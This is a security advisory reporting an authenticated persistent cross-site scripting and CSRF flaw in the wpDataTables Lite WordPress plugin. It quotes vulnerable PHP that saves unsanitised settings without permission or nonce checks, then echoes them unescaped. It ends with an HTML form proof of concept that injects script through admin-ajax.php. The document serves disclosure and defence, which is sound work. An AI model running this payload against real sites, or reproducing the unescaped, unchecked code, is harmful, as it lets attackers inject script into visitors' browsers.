Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in wpDataTables Lite

ID SSV:93048
Type seebug
Reporter Root
Modified 2017-04-25T00:00:00


One of things we do to keep track of what vulnerabilities are out there in WordPress plugins, to provide our customers with the best data on them, is to monitor our websites for hacking attempts. In September we had request that looked like probing for usage of the plugin wpDataTables Lite, through a request for /wp-content/plugins/wpdatatables/Licensing/GPL.txt. Though when we went to look into this we noticed the plugin hasn’t have a file at that location, so it would seem to have been a request checking for something else. It looks like the hacker was a probably probing for usage of a page paid version of the same plugin, which had contained an arbitrary file upload vulnerability in the past. That vulnerability was due to an upload function be accessible to anyone (even if not logged in) through WordPress’ AJAX functionality. Once we saw that we took a quick look at the wpDataTables Lite to see if there were any issue along those lines and found that there is an authenticated persistent cross (XSS) vulnerability in the plugin as of version 1.1.

In the plugin no function are made accessible for those that are not logged in, but there are 9 that are accessible to those logged in to WordPress. Since that makes them accessible to anyone who is logged in, if the functions are intended to only accessible to higher level users there needs to be code in the function to restrict access.

On of those AJAX accessible functions handles saving the plugins settings (in the file /controllers/wdt_admin_ajax_actions.php):

add_action( 'wp_ajax_wdt_save_settings', 'wdt_save_settings');

The settings page is only accessible by Administrator level users, but the wdt_save_settings() function doesn’t restrict it to them:

function wdt_save_settings(){

    $_POST = apply_filters( 'wpdatatables_before_save_settings', $_POST );

    // Get and write main settings
    $wdtSiteLink = $_POST['wdtSiteLink'];

    $wpRenderFilter = $_POST['wpRenderFilter'];
    $wpInterfaceLanguage = $_POST['wpInterfaceLanguage'];
    $wpDateFormat = $_POST['wpDateFormat'];
    $wpTopOffset = $_POST['wpTopOffset'];
    $wpLeftOffset = $_POST['wpLeftOffset'];
    $wdtBaseSkin = $_POST['wdtBaseSkin'];
    $wdtTablesPerPage = $_POST['wdtTablesPerPage'];
    $wdtNumberFormat = $_POST['wdtNumberFormat'];
    $wdtDecimalPlaces = $_POST['wdtDecimalPlaces'];
    $wdtNumbersAlign = $_POST['wdtNumbersAlign'];
    $wdtCustomJs = $_POST['wdtCustomJs'];
    $wdtCustomCss = $_POST['wdtCustomCss'];
    $wdtMinifiedJs = $_POST['wdtMinifiedJs'];
    $wdtMobileWidth = $_POST['wdtMobileWidth'];
    $wdtTabletWidth = $_POST['wdtTabletWidth'];

    update_option('wdtSiteLink', $wdtSiteLink);

    update_option('wdtRenderCharts', 'below'); // Deprecated, delete after 1.6
    update_option('wdtRenderFilter', $wpRenderFilter);
    update_option('wdtInterfaceLanguage', $wpInterfaceLanguage);
    update_option('wdtDateFormat', $wpDateFormat);
    update_option('wdtTopOffset', $wpTopOffset);
    update_option('wdtLeftOffset', $wpLeftOffset);
    update_option('wdtBaseSkin', $wdtBaseSkin);
    update_option('wdtTablesPerPage', $wdtTablesPerPage);
    update_option('wdtNumberFormat', $wdtNumberFormat);
    update_option('wdtDecimalPlaces', $wdtDecimalPlaces);
    update_option('wdtNumbersAlign', $wdtNumbersAlign);
    update_option('wdtCustomJs', $wdtCustomJs);
    update_option('wdtCustomCss', $wdtCustomCss);
    update_option('wdtMinifiedJs', $wdtMinifiedJs);
    update_option('wdtMobileWidth', $wdtMobileWidth);
    update_option('wdtTabletWidth', $wdtTabletWidth);

It also doesn’t check for a valid nonce, so saving the settings is also vulnerable to cross-site request forgery (CSRF).

You can also see that no sanitization is done before saving the settings opening up the possibility of cross-site scripting (XSS) if the escaping is not done when they are output.

On the settings page the setting’s values are not escaped. Using the value for wdtCustomJs as an example, it retrieved from the database here (in the file /controllers/wdt_admin.php):

$tpl->addData('wdtCustomJs', get_option('wdtCustomJs'));

Then output in the file /templates/

<textarea name="wdtCustomJs" id="wdtCustomJs" style="width: 430px; height: 200px;"><?php echo (!empty($wdtCustomJs) ? stripslashes($wdtCustomJs) : '') ?></textarea><br/>

That value is also output on frontend pages that include tables from the plugin and is not escaped there either. That happens through the function wdt_render_script_style_block() in the file /controllers/wdt_functions.php:

function wdt_render_script_style_block(){

    $customJs = get_option('wdtCustomJs');
    $script_block_html = '';
    $style_block_html = '';

         $script_block_html .= '<script type="text/javascript">'.stripslashes_deep($customJs).'</script>';
    echo $script_block_html;


We notified the developer of the issue on September 8 and they responded the same day that they would fix it with the next release. Three months later a new version was put out, but it doesn’t contain anything that looks like an attempt to fix the issue.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s frontend pages that include tables from the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wdt_save_settings" />
<input type="hidden" name="wdtCustomJs" value='alert("XSS");' />
<input type="submit" value="Submit" />